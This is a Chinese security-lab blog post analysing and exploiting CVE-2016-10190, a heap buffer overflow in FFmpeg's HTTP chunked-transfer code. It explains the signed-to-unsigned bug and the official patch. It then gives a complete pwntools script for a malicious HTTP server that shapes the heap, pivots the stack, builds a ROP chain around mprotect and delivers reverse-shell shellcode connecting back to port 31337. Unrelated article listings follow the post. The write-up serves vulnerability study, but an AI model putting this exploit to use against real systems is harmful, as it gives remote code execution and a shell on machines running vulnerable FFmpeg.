作者:栈长@蚂蚁金服巴斯光年安全实验室

————————

1. 背景

FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器、转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具。2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。本文对CVE-2016-10190进行了详细的分析,是一个学习如何利用堆溢出达到任意代码执行的一个非常不错的案例。

2. 漏洞分析

FFmpeg的 Http 协议的实现中支持几种不同的数据传输方式,通过 Http Response Header 来控制。其中一种传输方式是transfer-encoding: chunked,表示数据将被划分为一个个小的 chunk 进行传输,这些 chunk 都是被放在 Http body 当中,每一个 chunk 的结构分为两个部分,第一个部分是该 chunk 的 data 部分的长度,十六进制,以换行符结束,第二个部分就是该 chunk 的 data,末尾还要额外加上一个换行符。下面是一个 Http 响应的示例。关于transfer-encoding: chunked更加详细的内容可以参考这篇文章

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 03 May 2015 17:25:23 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Content-Encoding: gzip

1f

HW(/IJ

0

漏洞就出现在libavformat/http.c这个文件中,在http_read_stream函数中,如果是以 chunk 的方式传输,程序会读取每个 chunk 的第一行,也就是 chunk 的长度那一行,然后调用s->chunksize = strtoll(line, NULL, 16);来计算 chunk size。chunksize的类型是int64_t,在下面调用了FFMIN和 buffer 的 size 进行了长度比较,但是 buffer 的 size 也是有符号数,这就导致了如果我们让chunksize等于-1, 那么最终传递给httpbufread函数的 size 参数也是-1。相关代码如下:

s->chunksize = strtoll(line, NULL, 16);

av_log(NULL, AV_LOG_TRACE, "Chunked encoding data size: %"PRId64"'\n",

s->chunksize);

if (!s->chunksize)

return 0;

}

size = FFMIN(size, s->chunksize);//两个有符号数相比较

}

//...

read_ret = http_buf_read(h, buf, size);//可以传递一个负数过去

而在httpbufread函数中会调用ffurl_read函数,进一步把 size 传递过去。然后经过一个比较长的调用链,最终会传递到tcp_read函数中,函数里调用了recv函数来从 socket 读取数据,而recv的第三个参数是size_t类型,也就是无符号数,我们把size为-1传递给它的时候会发生有符号数到无符号数的隐式类型转换,就变成了一个非常大的值0xffffffff,从而导致缓冲区溢出。

static int http_buf_read(URLContext *h, uint8_t *buf, int size)

{

HTTPContext *s = h->priv_data;

intlen;

/* read bytes from input buffer first */

len = s->buf_end - s->buf_ptr;

if (len> 0) {

if (len> size)

len = size;

memcpy(buf, s->buf_ptr, len);

s->buf_ptr += len;

} else {

//...

len = ffurl_read(s->hd, buf, size);//这里的 size 是从上面传递下来的

static int tcp_read(URLContext *h, uint8_t *buf, int size)

{

TCPContext *s = h->priv_data;

int ret;

if (!(h->flags & AVIO_FLAG_NONBLOCK)) {

//...

}

ret = recv(s->fd, buf, size, 0);    //最后在这里溢出

可以看到,由有符号到无符号数的类型转换可以说是漏洞频发的重灾区,写代码的时候稍有不慎就可能犯下这种错误,而且一些隐式的类型转换编译器并不会报 warning。如果需要检测这样的类型转换,可以在编译的时候添加-Wconversion -Wsign-conversion这个选项。

官方修复方案

官方的修复方法也比较简单明了,把HTTPContext这个结构体中所有和 size,offset 有关的字段全部改为unsigned类型,把strtoll函数改为strtoull函数,还有一些细节上的调整等等。这么做不仅补上了这次的漏洞,也防止了类似的漏洞不会再其他的地方再发生。放上官方补丁的链接

3. 利用环境搭建

漏洞利用的靶机环境

操作系统:Ubuntu 16.04 x64

FFmpeg版本:3.2.1 (参照https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu编译,需要把官方教程中提及的所有 encoder编译进去,最好是静态编译。)

4. 利用过程

这次的漏洞需要我们搭建一个恶意的 Http Server,然后让我们的客户端连上 Server,Server 把恶意的 payload 传输给 client,在 client 上执行任意代码,然后反弹一个 shell 到 Server 端。

首先我们需要控制返回的 Http header 中包含transfer-encoding: chunked字段。

headers = """HTTP/1.1 200 OK

Server: HTTPd/0.9

Date: Sun, 10 Apr 2005 20:26:47 GMT

Transfer-Encoding: chunked

"""

然后我们控制 chunk 的 size 为-1, 再把我们的 payload 发送过去

client_socket.send('-1\n')

#raw_input("sleep for a while to avoid HTTPContext buffer problem!")

sleep(3)    #这里 sleep 很关键,后面会解释

client_socket.send(payload)

下面我们开始考虑 payload 该如何构造,首先我们使用gdb观察程序在 buffer overflow 的时候的堆布局是怎样的,在我的机器上很不幸的是可以看到被溢出的 chunk 正好紧跟在 top chunk的后面,这就给我们的利用带来了困难。接下来我先后考虑了三种思路:

思路一:覆盖top chunk的size字段

这是一种常见的glibc heap 利用技巧,是通过把 top chunk 的size 字段改写来实现任意地址写,但是这种方法需要我们能很好的控制malloc的 size 参数。在FFmpeg源代码中寻找了一番并没有找到这样的代码,只能放弃。

思路二:通过unlink来任意地址写

这种方法的条件也比较苛刻,首先需要绕过 unlink 的 check,但是由于我们没有办法 leak 出堆地址,所以也是行不通的。

思路三:通过某种方式影响堆布局,使得溢出chunk后面有关键结构体

如果溢出 chunk 之后有关键结构体,结构体里面有函数指针,那么事情就简单多了,我们只需要覆盖函数指针就可以控制 RIP 了。纵观溢出时的整个函数调用栈,

avio_read->fill_buffer->io_read_packet->…->http_buf_read,avio_read函数和fill_buffer函数里面都调用了AVIOContext::read_packet这个函数。我们必须设法覆盖AVIOContext这个结构体里面的read_packet函数指针,但是目前这个结构体是在溢出 chunk 的前面的,需要把它挪到后面去。那么就需要搞清楚这两个 chunk 被malloc的先后顺序,以及mallocAVIOContext的时候的堆布局是怎么样的。

int ffio_fdopen(AVIOContext **s, URLContext *h)

{

//...

buffer = av_malloc(buffer_size);//先分配io buffer, 再分配AVIOContext

if (!buffer)

return AVERROR(ENOMEM);

internal = av_mallocz(sizeof(*internal));

if (!internal)

goto fail;

internal->h = h;

*s = avio_alloc_context(buffer, buffer_size, h->flags & AVIO_FLAG_WRITE,

internal, io_read_packet, io_write_packet, io_seek);

在ffio_fdopen函数中可以清楚的看到是先分配了用于io的 buffer(也就是溢出的 chunk),再分配AVIOContext的。程序在mallocAVIOContext的时候堆上有一个 large free chunk,正好是在溢出 chunk 的前面。那么只要想办法在之前把这个 free chunk 给填上就能让AVIOContext跑到溢出 chunk 的后面去了。由于http_open是在AVIOContext被分配之前调用的,(关于整个调用顺序可以参考雷霄华的博客整理的一个FFmpeg的总的流程图)所以我们可在http_read_header函数里面寻找那些能够影响堆布局的代码,其中 Content-Type 字段就会为字段值malloc一段内存来保存。所以我们可以任意填充Content-Type的值为那个 free chunk 的大小,就能预先把 free chunk 给使用掉了。修改后的Http header如下:

headers = """HTTP/1.1 200 OK

Server: HTTPd/0.9

Date: Sun, 10 Apr 2005 20:26:47 GMT

Content-Type: %s

Transfer-Encoding: chunked

Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA;

""" % ('h' * 3120)

其中Set-Cookie字段可有可无,只是会影响溢出 chunk 和AVIOContext的距离,不会影响他们的前后关系。

这之后就是覆盖AVIOContext的各个字段,以及考虑怎么让程序走到自己想要的分支了。经过分析我们让程序再一次调用fill_buffer,然后走到s->read_packet那一行是最稳妥的。调试发现走到那一行的时候我们可以控制的有RIP, RDI, RSI, RDX, RCX等寄存器,接下来就是考虑怎么 ROP 了。

static void fill_buffer(AVIOContext *s)

{

intmax_buffer_size = s->max_packet_size ?  //可控

s->max_packet_size :

IO_BUFFER_SIZE;

uint8_t *dst        = s->buf_end - s->buffer + max_buffer_size< s->buffer_size ?

s->buf_end : s->buffer;   //控制这个, 如果等于s->buffer的话,问题是 heap 地址不知道

intlen             = s->buffer_size - (dst - s->buffer);   //可控

/* can't fill the buffer without read_packet, just set EOF if appropriate */

if (!s->read_packet&& s->buf_ptr>= s->buf_end)

s->eof_reached = 1;

/* no need to do anything if EOF already reached */

if (s->eof_reached)

return;

if (s->update_checksum&&dst == s->buffer) {

//...

}

/* make buffer smaller in case it ended up large after probing */

if (s->read_packet&& s->orig_buffer_size&& s->buffer_size> s->orig_buffer_size) {

//...

}

if (s->read_packet)

len = s->read_packet(s->opaque, dst, len);

首先要把栈迁移到堆上,由于堆地址是随机的,我们不知道。所以只能利用当时寄存器或者内存中存在的堆指针,并且堆指针要指向我们可控的区域。在寄存器中没有找到合适的值,但是打印当前stack, 可以看到栈上正好有我们需要的堆指针,指向AVIOContext结构体的开头。接下来只要想办法找到pop rsp; ret之类的rop就可以了。

pwndbg> stack

00:0000│rsp  0x7fffffffd8c0 —? 0x7fffffffd900 —? 0x7fffffffd930 —? 0x7fffffffd9d0 ?— ...

01:0008│      0x7fffffffd8c8 —? 0x2b4ae00 —? 0x63e2c8 (ff_yadif_filter_line_10bit_ssse3+1928) ?— add    rsp, 0x58

02:0010│      0x7fffffffd8d0 —? 0x7fffffffe200 ?— 0x6

03:0018│      0x7fffffffd8d8 ?— 0x83d1d51e00000000

04:0020│      0x7fffffffd8e0 ?— 0x8000

05:0028│      0x7fffffffd8e8 —? 0x2b4b168 ?— 0x6868686868686868 ('hhhhhhhh')

06:0030│rbp  0x7fffffffd8f0 —? 0x7fffffffd930 —? 0x7fffffffd9d0 —? 0x7fffffffda40 ?— ...

07:0038│      0x7fffffffd8f8 —? 0x6cfb2c (avio_read+336) ?— movrax, qword ptr [rbp - 0x18]

把栈迁移之后,先利用add rsp, 0x58; ret这种蹦床把栈拔高,然后执行我们真正的 ROP 指令。由于plt表中有mprotect, 所以可以先将0x400000地址处的 page 权限改为rwx,再把shellcode写到那边去,然后跳转过去就行了。最终的堆布局如下:

放上最后利用成功的截图

启动恶意的 Server

客户端连接上 Server

成功反弹 shell

最后附上完整的利用脚本,根据漏洞作者的exp修改而来

#!/usr/bin/python

#coding=utf-8

import re

importos

import sys

import socket

import threading

from time import sleep

frompwn import *

bind_ip = '0.0.0.0'

bind_port = 12345

headers = """HTTP/1.1 200 OK

Server: HTTPd/0.9

Date: Sun, 10 Apr 2005 20:26:47 GMT

Content-Type: %s

Transfer-Encoding: chunked

Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA;

""" % ('h' * 3120)

"""

"""

elf = ELF('/home/dddong/bin/ffmpeg_g')

shellcode_location = 0x00400000

page_size = 0x1000

rwx_mode = 7

gadget = lambda x: next(elf.search(asm(x, os='linux', arch='amd64')))

pop_rdi = gadget('pop rdi; ret')

pop_rsi = gadget('pop rsi; ret')

pop_rax = gadget('pop rax; ret')

pop_rcx = gadget('pop rcx; ret')

pop_rdx = gadget('pop rdx; ret')

pop_rbp = gadget('pop rbp; ret')

leave_ret = gadget('leave; ret')

pop_pop_rbp_jmp_rcx = gadget('pop rbx ; pop rbp ; jmprcx')

push_rbx = gadget('push rbx; jmprdi')

push_rsi = gadget('push rsi; jmprdi')

push_rdx_call_rdi = gadget('push rdx; call rdi')

pop_rsp = gadget('pop rsp; ret')

add_rsp = gadget('add rsp, 0x58; ret')

mov_gadget = gadget('mov qword ptr [rdi], rax ; ret')

mprotect_func = elf.plt['mprotect']

#read_func = elf.plt['read']

def handle_request(client_socket):

# 0x009e5641: mov qword [rcx], rax ; ret  ;  (1 found)

# 0x010ccd95: push rbx ;jmprdi ;  (1 found)

# 0x00d89257: pop rsp ; ret  ;  (1 found)

# 0x0058dc48: add rsp, 0x58 ; ret  ;  (1 found)

request = client_socket.recv(2048)

payload = ''

payload += 'C' * (0x8040)

payload += 'CCCCCCCC' * 4

##################################################

#rop starts here

payload += p64(add_rsp) # 0x0: 从这里开始覆盖AVIOContext

#payload += p64(0) + p64(1) + 'CCCCCCCC' * 2 #0x8:

payload += 'CCCCCCCC' * 4 #0x8: buf_ptr和buf_end后面会被覆盖为正确的值

payload += p64(pop_rsp) # 0x28: 这里是opaque指针,可以控制rdi和rcx, s->read_packet(opaque,dst,len)

payload += p64(pop_pop_rbp_jmp_rcx) # 0x30: 这里是read_packet指针,call *%rax

payload += 'BBBBBBBB' * 3 #0x38

payload += 'AAAA' #0x50 must_flush

payload += p32(0) #eof_reached

payload += p32(1) + p32(0) #0x58 write_flag=1 and max_packet_size=0

payload += p64(add_rsp) # 0x60: second add_esp_0x58 rop to jump to uncorrupted chunk

payload += 'CCCCCCCC' #0x68: checksum_ptr控制rdi

#payload += p64(push_rdx_call_rdi) #0x70

payload += p64(1) #0x70: update_checksum

payload += 'XXXXXXXX' * 9 #0x78: orig_buffer_size

# realrop payload starts here

#

# usingmprotect to create executable area

payload += p64(pop_rdi)

payload += p64(shellcode_location)

payload += p64(pop_rsi)

payload += p64(page_size)

payload += p64(pop_rdx)

payload += p64(rwx_mode)

payload += p64(mprotect_func)

# backconnectshellcode x86_64: 127.0.0.1:31337

shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";

shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode

shellslices = map(''.join, zip(*[iter(shellcode)]*8))

write_location = shellcode_location

forshellslice in shellslices:

payload += p64(pop_rax)

payload += shellslice

payload += p64(pop_rdi)

payload += p64(write_location)

payload += p64(mov_gadget)

write_location += 8

payload += p64(pop_rbp)

payload += p64(4)

payload += p64(shellcode_location)

client_socket.send(headers)

client_socket.send('-1\n')

#raw_input("sleep for a while to avoid HTTPContext buffer problem!")

sleep(3)

client_socket.send(payload)

print "send payload done."

client_socket.close()

if __name__ == '__main__':

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

s.bind((bind_ip, bind_port))

s.listen(5)

filename = os.path.basename(__file__)

st = os.stat(filename)

print 'start listening at %s:%s' % (bind_ip, bind_port)

while True:

client_socket, addr = s.accept()

print 'accept client connect from %s:%s' % addr

handle_request(client_socket)

if os.stat(filename) != st:

print 'restarted'

sys.exit(0)

5. 反思与总结

这次的漏洞利用过程让我对FFmpeg的源代码有了更为深刻的理解。也学会了如何通过影响堆布局来简化漏洞利用的过程,如何栈迁移以及编写 ROP。

在pwn的过程中,阅读源码来搞清楚malloc的顺序,使用gdb插件(如libheap)来显示堆布局是非常重要的,只有这样才能对症下药,想明白如何才能调整堆的布局。如果能够有插件显示每一个malloc chunk 的函数调用栈就更好了,之后可以尝试一下 GEF 这个插件。

6. 参考资料

1  https://trac.ffmpeg.org/ticket/5992

2  http://www.openwall.com/lists/oss-security/2017/01/31/12

3  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10190

4  官方修复链接:https://github.com/FFmpeg/FFmpeg/commit/2a05c8f813de6f2278827734bf8102291e7484aa

5  https://security.tencent.com/index.php/blog/msg/116

6  Transfer-encoding介绍:https://imququ.com/post/transfer-encoding-header-in-http.html

7  漏洞原作者的 exp:https://gist.github.com/PaulCher/324690b88db8c4cf844e056289d4a1d6

8  FFmpeg源代码结构图:http://blog.csdn.net/leixiaohua1020/article/details/44220151

https://docs.pwntools.com/en/stable/index.html

-------------------------------

更多安全类热点信息和知识分享,请关注阿里聚安全的官方博客

CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用的更多相关文章

  1. CVE-2016-10191 FFmpeg RTMP Heap Buffer Overflow 漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 一.前言 FFmpeg是一个著名的处理音视频的开源项目,使用者众多.2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190 ...

  2. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

  3. 2——FFMPEG之协议(文件)操作----AVIOContext, URLContext, URLProtocol

    协议操作对象结构: 协议(文件)操作的顶层结构是AVIOContext,这个对象实现了带缓冲的读写操作:FFMPEG的输入对象AVFormat的pb字段指向一个AVIOContext. AVIOCon ...

  4. ffmpeg的内部Video Buffer管理和传送机制

    ffmpeg的内部Video Buffer管理和传送机制 本文主要介绍ffmpeg解码器内部管理Video Buffer的原理和过程,ffmpeg的Videobuffer为内部管理,其流程大致为:注册 ...

  5. 内存错误:CRT detected that the application wrote to memory after end of heap buffer

    今天调试测试代码时,发现在用完了new出来的内存buf后,在执行delete时报错了,具体信息为: HEAP_CORRUPTION_DETECTED: after Normal block(#908) ...

  6. NIO中的heap Buffer和direct Buffer区别

    在Java的NIO中,我们一般采用ByteBuffer缓冲区来传输数据,一般情况下我们创建Buffer对象是通过ByteBuffer的两个静态方法: ByteBuffer.allocate(int c ...

  7. C语言错误: CRT detected that the application wrote to memory after end of heap buffer

    CRT detected that the application wrote to memory after end of heap buffer 多是中间对其进行了一些操作,在程序结束处,释放内存 ...

  8. Direct Buffer vs. Heap Buffer

    1. 劣势:创建和释放Direct Buffer的代价比Heap Buffer得要高. 2. 差别:Direct Buffer不是分配在堆上的,它不被GC直接管理(但Direct Buffer的JAV ...

  9. FFmpeg 结构体学习(七): AVIOContext 分析

    在上文FFmpeg 结构体学习(六): AVCodecContext 分析我们学习了AVCodec结构体的相关内容.本文,我们将讲述一下AVIOContext. AVIOContext是FFMPEG管 ...

随机推荐

  1. 表达式求值(二叉树方法/C++语言描述)(三)

    二叉树方法求值对运算数处理的方法与栈方法求值不太相同,除了将字符串中的运算数转换为浮点类型外,还需要生成新的节点: void Calculator::dealWithNumber(char *& ...

  2. Python 爬虫抓取代理IP,并检测联通性

    帮朋友抓了一些代理IP,并根据测试联的通性,放在了不通的文件夹下.特将源码分享 注意: 1,环境Python3.5 2,安装BeautifulSoup4  requests 代码如下: 1 2 3 4 ...

  3. akoj-1148-小光棍数

    小光棍数 Time Limit:1000MS  Memory Limit:65536K Total Submit:197 Accepted:94 Description 最近Topcoder的XD遇到 ...

  4. 虚拟机安装linux系统不能上网解决方法

    周末闲来无事,用虚拟机安装了centos6.5系统,安装成功后发现不能连接网络,然后我就一脸蒙蔽了,无奈之下,只能百度查找问题,幸运的是,我还真找到了解决的方法,根据教程一步步操作,成功了!为了避免以 ...

  5. semantic UI first web

    官方文档:https://semantic-ui.com/introduction/getting-started.html semantic  UI: SemanticUI是一款语义化设计的前端开源 ...

  6. html5 mdn一些精彩的案例

    https://developer.mozilla.org/zh_CN/docs/Games/Examples

  7. [您有新的未分配科技点]无旋treap:从好奇到入门(例题:bzoj3224 普通平衡树)

    今天我们来学习一种新的数据结构:无旋treap.它和splay一样支持区间操作,和treap一样简单易懂,同时还支持可持久化. 无旋treap的节点定义和treap一样,都要同时满足树性质和堆性质,我 ...

  8. 关于MDK下pack的定义方法

    我们使用数据流的过程中经常会用到结构体来进行解析,这个时候就需要使用字节对齐这个概念.不同的编译器的处理方法不一样. 这里小结一下MDK里面常用的几种方法: 1. 最常见的一种 使用#pragma p ...

  9. sqlte3 的约束

    约束是在表的数据列上强制执行的规则.这些是用来限制可以插入到表中的数据类型.这确保了数据库中数据的准确性和可靠性. 约束可以是列级或表级.列级约束仅适用于列,表级约束被应用到整个表. 以下是在 SQL ...

  10. JavaScript语法作业

    相亲过程:你有房子么?你有钱么?你有能力么?[结婚吧][先买房子在结婚][先赚钱再买房子再结婚]都没有[拜拜~~]利用if嵌套做相亲过程 <script> var a=prompt(&qu ...